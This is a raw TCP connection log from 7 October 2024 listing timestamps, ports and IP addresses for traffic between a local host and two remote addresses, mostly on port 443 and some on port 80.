Oct 7, 2024 18:00:40.816369057 CEST	443	49837	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.816375971 CEST	49837	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.816431046 CEST	49837	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.821902990 CEST	49837	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.821919918 CEST	443	49837	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.821968079 CEST	49837	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.821974039 CEST	443	49837	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.825004101 CEST	49842	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.825058937 CEST	443	49842	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.825159073 CEST	49842	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.825316906 CEST	49842	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.825345039 CEST	443	49842	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.904205084 CEST	443	49838	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.904923916 CEST	443	49840	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.904995918 CEST	443	49841	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.905061960 CEST	49838	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.905072927 CEST	443	49838	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.905415058 CEST	49840	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.905424118 CEST	443	49840	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.905833006 CEST	49838	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.905838966 CEST	443	49838	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.905867100 CEST	49840	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.905873060 CEST	443	49840	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.905925035 CEST	49841	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.905940056 CEST	443	49841	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.906332016 CEST	49841	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.906337976 CEST	443	49841	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.909974098 CEST	443	49839	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.910454988 CEST	49839	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.910471916 CEST	443	49839	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.911098003 CEST	49839	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.911103010 CEST	443	49839	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.999032021 CEST	443	49838	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.999634981 CEST	443	49838	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.999736071 CEST	49838	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.999799013 CEST	49838	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.999808073 CEST	443	49838	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.999818087 CEST	49838	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.999821901 CEST	443	49838	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.000866890 CEST	443	49841	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.001765013 CEST	443	49841	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.001808882 CEST	443	49841	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.001926899 CEST	49841	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.001926899 CEST	49841	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.002182961 CEST	49841	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.002182961 CEST	49841	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.002204895 CEST	443	49841	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.002218008 CEST	443	49841	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.002763033 CEST	49843	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.002790928 CEST	443	49843	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.002863884 CEST	49843	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.003076077 CEST	49843	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.003092051 CEST	443	49843	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.003581047 CEST	443	49840	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.003637075 CEST	443	49840	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.003719091 CEST	49840	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.003909111 CEST	49840	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.003915071 CEST	443	49840	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.003927946 CEST	49840	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.003932953 CEST	443	49840	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.004492044 CEST	49844	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.004518032 CEST	443	49844	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.004601955 CEST	49844	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.004777908 CEST	49844	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.004793882 CEST	443	49844	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.006498098 CEST	49845	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.006510019 CEST	443	49845	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.006581068 CEST	49845	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.006752968 CEST	49845	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.006778955 CEST	443	49845	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.008928061 CEST	443	49839	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.009176970 CEST	443	49839	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.009236097 CEST	49839	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.009303093 CEST	49839	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.009308100 CEST	443	49839	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.009326935 CEST	49839	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.009330988 CEST	443	49839	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.011976004 CEST	49846	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.012000084 CEST	443	49846	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.012088060 CEST	49846	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.012283087 CEST	49846	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.012305021 CEST	443	49846	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.446521997 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:41.446685076 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:41.446742058 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:41.446808100 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:41.448625088 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:41.453553915 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:41.461570024 CEST	443	49842	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.462332010 CEST	49842	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.462358952 CEST	443	49842	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.462815046 CEST	49842	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.462832928 CEST	443	49842	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.598351955 CEST	443	49842	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.598424911 CEST	443	49842	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.598517895 CEST	49842	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.598838091 CEST	49842	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.598838091 CEST	49842	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.598860979 CEST	443	49842	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.598870993 CEST	443	49842	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.602689028 CEST	49847	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.602780104 CEST	443	49847	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.603115082 CEST	49847	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.603115082 CEST	49847	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.603172064 CEST	443	49847	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.637636900 CEST	443	49845	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.638564110 CEST	49845	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.638587952 CEST	443	49845	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.639405012 CEST	49845	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.639411926 CEST	443	49845	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.639847994 CEST	443	49846	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.640729904 CEST	49846	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.640739918 CEST	443	49846	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.640898943 CEST	49846	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.640903950 CEST	443	49846	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.642987967 CEST	443	49843	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.643394947 CEST	49843	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.643410921 CEST	443	49843	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.643687963 CEST	49843	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.643692970 CEST	443	49843	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.655287981 CEST	443	49844	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.655720949 CEST	49844	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.655731916 CEST	443	49844	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.656121016 CEST	49844	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.656125069 CEST	443	49844	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.731338978 CEST	443	49845	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.731415987 CEST	443	49845	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.731491089 CEST	49845	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.731507063 CEST	443	49845	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.731530905 CEST	443	49845	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.731666088 CEST	49845	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.731913090 CEST	49845	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.731913090 CEST	49845	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.731933117 CEST	443	49845	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.731941938 CEST	443	49845	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.735301971 CEST	443	49846	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.735555887 CEST	443	49846	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.735769987 CEST	49848	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.735810041 CEST	443	49848	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.735846996 CEST	49846	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.735882998 CEST	49848	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.735914946 CEST	49846	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.735919952 CEST	443	49846	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.735965967 CEST	49846	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.735971928 CEST	443	49846	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.736042023 CEST	49848	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.736049891 CEST	443	49848	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.737721920 CEST	443	49843	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.738147974 CEST	443	49843	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.738230944 CEST	49843	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.738269091 CEST	49843	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.738285065 CEST	443	49843	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.738404036 CEST	49843	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.738414049 CEST	443	49843	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.738948107 CEST	49849	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.738997936 CEST	443	49849	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.739082098 CEST	49849	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.739459038 CEST	49849	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.739480019 CEST	443	49849	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.740808964 CEST	49850	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.740819931 CEST	443	49850	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.740890980 CEST	49850	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.741090059 CEST	49850	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.741105080 CEST	443	49850	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.754277945 CEST	443	49844	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.754452944 CEST	443	49844	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.754604101 CEST	49844	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.754637957 CEST	49844	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.754646063 CEST	443	49844	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.754657984 CEST	49844	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.754662991 CEST	443	49844	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.756939888 CEST	49851	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.756978035 CEST	443	49851	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:41.757071018 CEST	49851	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.757283926 CEST	49851	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:41.757304907 CEST	443	49851	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.082529068 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:42.082545042 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:42.082560062 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:42.082567930 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:42.082577944 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:42.082587957 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:42.082657099 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:42.082701921 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:42.084665060 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:42.089562893 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:42.223892927 CEST	443	49847	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.227523088 CEST	49847	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:42.227550030 CEST	443	49847	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.227957964 CEST	49847	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:42.227962971 CEST	443	49847	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.326195002 CEST	443	49847	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.331558943 CEST	443	49847	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.331624031 CEST	49847	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:42.331664085 CEST	49847	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:42.331665039 CEST	49847	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:42.331680059 CEST	443	49847	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.331687927 CEST	443	49847	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.334103107 CEST	49852	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:42.334132910 CEST	443	49852	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.334197044 CEST	49852	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:42.334310055 CEST	49852	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:42.334321022 CEST	443	49852	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.391654968 CEST	443	49849	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.391690969 CEST	443	49851	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.392271996 CEST	49849	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:42.392312050 CEST	443	49849	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.392879009 CEST	49849	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:42.392885923 CEST	443	49849	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.393201113 CEST	49851	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:42.393234015 CEST	443	49851	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.393693924 CEST	49851	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:42.393702030 CEST	443	49851	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.427004099 CEST	443	49850	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.427601099 CEST	49850	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:42.427611113 CEST	443	49850	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.428098917 CEST	49850	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:42.428103924 CEST	443	49850	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.454682112 CEST	443	49848	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.455279112 CEST	49848	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:42.455300093 CEST	443	49848	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.455751896 CEST	49848	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:42.455760002 CEST	443	49848	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.503081083 CEST	443	49851	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.503838062 CEST	443	49851	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.503930092 CEST	49851	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:42.503976107 CEST	49851	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:42.503998041 CEST	443	49851	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.504008055 CEST	49851	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:42.504013062 CEST	443	49851	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.506892920 CEST	49853	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:42.506927013 CEST	443	49853	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.507005930 CEST	49853	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:42.507127047 CEST	49853	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:42.507142067 CEST	443	49853	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.515017033 CEST	443	49849	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.515044928 CEST	443	49849	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.515085936 CEST	443	49849	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.515090942 CEST	49849	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:42.515135050 CEST	49849	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:42.520473957 CEST	49849	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:42.520484924 CEST	443	49849	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.527091980 CEST	49854	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:42.527110100 CEST	443	49854	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.527179956 CEST	49854	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:42.527405977 CEST	49854	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:42.527420998 CEST	443	49854	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.562105894 CEST	443	49850	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.562187910 CEST	443	49850	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.562258005 CEST	49850	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:42.562459946 CEST	49850	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:42.562469006 CEST	443	49850	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.562479019 CEST	49850	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:42.562484026 CEST	443	49850	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.565577030 CEST	49855	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:42.565592051 CEST	443	49855	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.565670967 CEST	49855	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:42.565838099 CEST	49855	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:42.565850019 CEST	443	49855	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.575565100 CEST	443	49848	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.575654984 CEST	443	49848	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.575710058 CEST	49848	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:42.575886965 CEST	49848	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:42.575903893 CEST	443	49848	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.575915098 CEST	49848	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:42.575921059 CEST	443	49848	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.578438997 CEST	49856	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:42.578478098 CEST	443	49856	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.578567982 CEST	49856	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:42.578706026 CEST	49856	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:42.578718901 CEST	443	49856	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.732088089 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:42.732152939 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:42.812064886 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:42.812149048 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:42.819464922 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:42.819493055 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:42.819750071 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:42.819789886 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:42.820177078 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:42.820269108 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:42.970154047 CEST	443	49852	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.970675945 CEST	49852	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:42.970690012 CEST	443	49852	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:42.971146107 CEST	49852	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:42.971152067 CEST	443	49852	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.075160980 CEST	443	49852	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.075248957 CEST	443	49852	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.075294971 CEST	49852	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.075532913 CEST	49852	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.075563908 CEST	443	49852	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.075575113 CEST	49852	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.075579882 CEST	443	49852	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.078677893 CEST	49857	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.078737020 CEST	443	49857	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.078880072 CEST	49857	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.079055071 CEST	49857	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.079068899 CEST	443	49857	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.139758110 CEST	443	49854	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.140238047 CEST	49854	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.140256882 CEST	443	49854	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.140681982 CEST	49854	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.140688896 CEST	443	49854	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.147943974 CEST	443	49853	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.148318052 CEST	49853	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.148328066 CEST	443	49853	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.148715973 CEST	49853	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.148721933 CEST	443	49853	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.200706005 CEST	443	49856	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.202285051 CEST	443	49855	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.211663961 CEST	49856	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.211672068 CEST	443	49856	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.212407112 CEST	49856	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.212410927 CEST	443	49856	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.212851048 CEST	49855	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.212862968 CEST	443	49855	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.213296890 CEST	49855	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.213301897 CEST	443	49855	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.237756968 CEST	443	49854	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.237818956 CEST	443	49854	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.238321066 CEST	49854	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.238526106 CEST	49854	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.238534927 CEST	443	49854	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.238549948 CEST	49854	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.238555908 CEST	443	49854	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.242750883 CEST	49858	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.242794991 CEST	443	49858	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.243052006 CEST	49858	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.243566036 CEST	49858	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.243583918 CEST	443	49858	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.258119106 CEST	443	49853	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.258326054 CEST	443	49853	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.258373022 CEST	443	49853	13.107.246.64	192.168.2.5
